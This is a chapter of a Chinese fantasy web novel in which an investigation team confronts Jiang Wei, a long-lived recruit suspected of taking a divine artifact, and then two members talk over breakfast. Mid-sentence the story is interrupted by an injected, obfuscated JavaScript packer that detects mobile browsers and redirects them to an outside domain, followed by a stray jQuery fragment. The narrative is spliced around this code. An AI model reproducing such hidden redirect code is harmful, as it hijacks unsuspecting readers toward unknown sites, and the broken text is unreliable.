嘎嘎嘎——
一阵黑色的乌鸦飞过,倒带来山雨欲来的满楼风。
静默两秒,覃诩水的脖子状似被卡住,艰难地望向曹芜绿,“师父,你开玩笑呢?”
然后颤颤巍巍地指着还在略微嘚瑟的江隈,声音成倍扩散,“你说她是往生部新招的人?!”
李俟菩的力道松了几许,情绪压在胸腔,脑子里的应庐直猴叫。
曹芜绿看着江隈整整过了三个呼吸,再三确认。
才道:“最近组织里事多,一时没认出来,不过我记得很清楚,她的确是今年新招的同事,简历我们都过了一遍,没有任何问题。”
她顿了顿,“你们也知道往生部已经一年没招到人了,求爷爷告奶奶地发招人贴,有能力的不碰,没能力的不敢,招生部确实办法都寻尽了。”
“两周前江小姐投了简历,各方面都符合还愿意担责,我们当时是真求之不得。”
江隈直起腰,缓缓推收起那把扇子,捻捻衣领,显摆地掏出一个牌子。
她错身几许,腊黄的光打上曹芜绿的眼镜。
映射出牌子鲜明的几个大字,931身份牌。
赵慵只觉一道惊雷闪过,头顶炸了个响雷,嗫嚅道:“不是,师父,我们刚刚说了那么久,您也知道她是神物的嫌疑犯吧。”
余愁山落在身后,清楚地看到了那身份牌名字那一栏,写上了江隈两个加粗黑字体。
她道:“身份牌是真。”
“老师,您说江隈是在两周前进组的?”宁松帷内心震惊无比,走到江隈面前挑起她的脸,有些无措,“那为什么我们没有收到任何消息?”
江隈倒也没挣扎,顺从地仰起头,一双眼眸漂亮得璀璨如珠。
曹芜绿闻言,涓滴不惊道:“呵,当时不但联系不到你们,整个榕城三个组的组长全都离奇消失,哪里还在意消息的通知?”
覃诩水口吻刺耳:“两周前我们还在和江隈斗智斗勇呢,我们差点儿被她搞死!您现在说她和我们才是一伙儿的?!”
“不是,这对吗?认真的吗?这世界终究还是癫了?”
覃诩水翻江倒海地表达自己的惊讶,唇舌打结。
“哎哎哎,你这小屁孩儿怎么那么不懂礼貌呢?”江隈躲过宁松帷的手,从善如流地接过李俟菩手上的扇子。
“什么叫搞死?我那是锻炼你们,不感谢就算了还不请我喝龙井,喝那酸到发苦的穷绿茶,我都不好意思说我们今后是同事伙伴,真是世风日下。”
她晃晃扇面,一副斯文模样。
“我呸!你要不听听你自己在说什么?”覃诩水再给了她一个肘击,却打到了扇骨,“和诡物同流合污还好意思说,没有阿菩的话,我们尸体你都要考虑是否好心收一下吧!”
江隈瞟了眼身后不语的李俟菩,“嗯,是托阿菩的福,让我见识了榕城三个组的联手好戏。”
“我看你就是两面三刀,师父你可千万别被她给骗了啊!”覃诩水被她这软硬不吃的态度气得愤慨抨击。
“先是潜入931做卧底,然后盗取神物来对付我们,把榕城三个组的水搅浑,她再金蝉脱壳,到时候说一句同事应援,谁还能猜得到她头上啊!”
覃诩水说得头头是道,一口唾沫一口钉,把江隈的罪钉得死死的。
江隈弯眉,“我首先声明,我是看那个小诡挺可怜才出手帮一把,进组的时候我就说了,往生部能直通地府没有限制,而地府有我找的人我才做这份工作的。”
她看向曹芜绿,“至于其他事其他人,我随心而行,从不站队,当时你们答应得好好的,难不成现在想反悔?”
“地府对你人身有限制?”李俟菩慢吟。
江隈大方吐露:“五百年前,那个陆老头就不准让我进了,义正言辞地说什么事关地府安危,给我下了个通缉令。”
“呵呵,搞半天你在鬼市都讨人嫌啊。”宁松帷嘲笑道。
李俟菩不想也知道,这人准做了什么“伤天害理”之事,惹得两位判官头疼。
应庐又适时提起了句放火那件事,顺便提醒了一句,她自己也不是个省油的灯。
嗯,俩卧龙凤雏。
曹芜绿并不关心多余事,她道:“现在的问题不是反悔,而是你的简历里从没明说你是长生种这三个字,你知道这意味着什么吗?”
她震慑陈词:“我们招人,必须确认身份无误,而你欺骗了我们。”
江隈眼神透着傲慢,语气单调:“我就算说了,你们能查清楚吗?”
“还有,你们连李俟菩的身份都查不到,还想盘查我的根?”
李俟菩冷冷扫了一眼江隈。
“就这么说吧,自鬼市动乱以后,几乎没人敢碰往生部这份工作,现在是你们缺人,而不是我缺钱。”
江隈的话直接把李俟菩拉下了水,桀骜地高高在上道:“再者,我若说我是长生种,你们上头那些个歪瓜裂枣能保证不把我抓去开膛破肚当人体标本吗?”
“931什么德行我比你们爹妈还清楚,要不是我急着找人,这份活儿谁爱干谁干。”
江隈轻蔑的言辞直言对调查组的不满,她收起折扇,双臂交叉。
赵慵却根本不打算顺着她的话走,无论是被无故遭殃的李俟菩,还是抬腔抬调对931的不悦,她通通拉回最原本的问题。
“往生部的工作可不包含神物一事。”
赵慵语言犀利,“江小姐,你说不站队,可你又言行相悖,别扯其他,你若真是无辜的大善人,现在最重要的事情就是洗脱你自己的嫌疑。”
“我说了我找人,神物能帮我,而我又恰好能打过那个背棺材的诡,我拿了又如何,不拿又如何?”
江隈身体微微后仰,不耐烦道:“什么嫌疑?你的意思是,你不仅怀疑曹老师亲自招的人,还要诬陷内部成员?我说,你赵队长的本事挺大呀。”
江隈一身反骨,故意和赵慵对着干,要她说什么她偏要反着来。
成心惹人不快,并表示毫不在意自己身上这盆脏水的去向。
看赵慵被气得半死,曹芜绿又不说话,另外三人不知是因为曹芜绿的关系忌惮还是怎么,也没有插嘴。
李俟菩问:“所以你找人,需要集齐三个神物?”
她对这位猜不透的长生种实在是十分有耐心。
“不需要。”
李俟菩:“?”
“我已经找到了。”
江隈答得极快,像是突然受到了刚刚赵慵的启发,终于肯说实话了,但是——
“所以土中碧我还给那棺纸人了。”
李俟菩:“???”
众人:!!!
第二群乌鸦结队飞过。
“什么??”
这下也把曹芜绿搞傻眼了,她迟钝地张大了嘴巴,“你再说一遍?你说神物去哪儿了?”
“我说我还给人家了,怎么,我说实话了你们也不高兴?怎么这么难伺候啊你们,这下总不认为我是叛徒了吧。”
李俟菩看这人说话好似不是做假,问去问来没想到最后是这个结果。
不过以她的了解,这人还真可能干得出来这事儿,就算她已经不会大惊小怪了,但脑子里还有个应庐呢。
而且对面这些人……她默默后退一步。
江隈还在独自开朗,大言不惭。
“你们到底要我怎样啊?早在你们在画里演戏的时候我就还给人家了,而且我跟人家保证了有借有还,我又不知道你们要找神物。”
李俟菩还想说,她是不是忘了,当
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247223|179652||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时跟她保证找到第二个神物就给她送来的那个承诺?
江隈说得理所当然,然后瞬间被蒙上一层厚重阴影。
现在夜深人静了。
“喂喂喂,你们干嘛?”
“曹老师,你靠我这么近做什么?赵慵,你们……”
“等、等下……931内部不能私自抱怨啊!”
鸟群惊飞。
*
日出的第一缕曙光照耀在这座美丽的城市,金光灿灿,宛如一副风水画。
宿舍的走廊被铺上阳光,从里面走出来的人都沾染上光的气味。
门轻轻打开又关上。
“嗯?阿菩,起这么早啊?”
赵慵正在收拾自己的小布包,就要准备出门,听见了动静,转眼就对上了睡眼惺忪的李俟菩。
“嗯。”李俟菩还迷糊着,呆毛立在她发旋头顶,微微的黑眼圈爬上了她的下眼睫。
她长叹一口气。
到底有谁能明白有个人在她脑子里吵吵嚷嚷的痛苦?
偏偏应庐还知道躲巧,只说话不化形,有一搭没一搭地聊着昨晚江隈被揍惨的场景。
昨天夜晚折腾得厉害,最终的结果是江隈又被绑成粽子收场,这会儿她估计还睡在冰冷的临时牢房呢。
李俟菩看了眼赵慵的小熊包,揉揉眼睛。
赵慵的包里被塞得鼓鼓的,小熊的肚子撑得极满,她说:“哦,我要回家一趟,拿个东西。”
李俟菩听闻,斟酌了会儿,“我陪你一起。”
说完可能觉得有些突然,又补了一句,“可以吗?”
赵慵猛地抬起头,十分意外,想了会儿,她问:“怎么了?是有什么事情吗?”
没等李俟菩回答,她又笑着说:“可以,你没吃早餐吧,要不我陪你去吃点?”
李俟菩下意识摸摸自己干瘪的肚子,乖乖点头。
这倒是把赵慵搞得有些局促,她偏偏头,李俟菩跟上她的脚步拐下楼梯。
榕城的绿荫小巷是散发着草木的清新气味的,伴随着阵阵虫鸣,阳光透过树梢洒下斑点。
如今快入秋,绿叶掉得厉害,行人走在路上嘎吱作响。
李俟菩和赵慵的衣服都摇曳上光斑。
李俟菩小口小口地喝着豆浆,赵慵的目光一直停留在她的侧脸。
眼神明晃晃地就像在看一个需要照顾的小朋友一样,极为欣慰。
李俟菩自认脸皮不厚也不薄,就这么让赵慵盯着,她知道赵慵在等她开口。
她也不打算遮掩,“赵队,之前生犀的方向,是领导说要秘密调查吗?”
“嗯?怎么这么说?”赵慵问,脸上却没有疑问的表情。
李俟菩咬了咬吸管,继续说:“这么久了,后面只说神物的具体计划,半点没提生犀,是因为有关于余家?”
赵慵波澜不惊,像是早就料到她的想法,很干脆地肯定了:“对,你猜得没错。”
“在地府你一定打听到了当年的一些事情,余家的这件事上头很重视,所以特别强调,专案组的主线是神物,暗线则是生犀。”
“当然这都是我们份内的事情,神物一事刻不容缓,上头想要埋的草蛇灰线我也理解,生犀与神物关系紧密,可能也是想早一点解决这个千古神物,砍掉生犀的这一条黑线,避免事情的发展不可控制。”
说完,赵慵停下脚步,绿叶无声飘落。
手上喝完的空奶盒被捏扁。
“我想,你要和我说的事情并不是谈这些吧,今天单独陪我出来,是遇到了什么困难?没事,想问什么就问吧。”
她脸色温柔,就像个知心大师姐。
听完了长篇大论的李俟菩也跟着站定,看着她眼眸。
了当道:“余愁山。”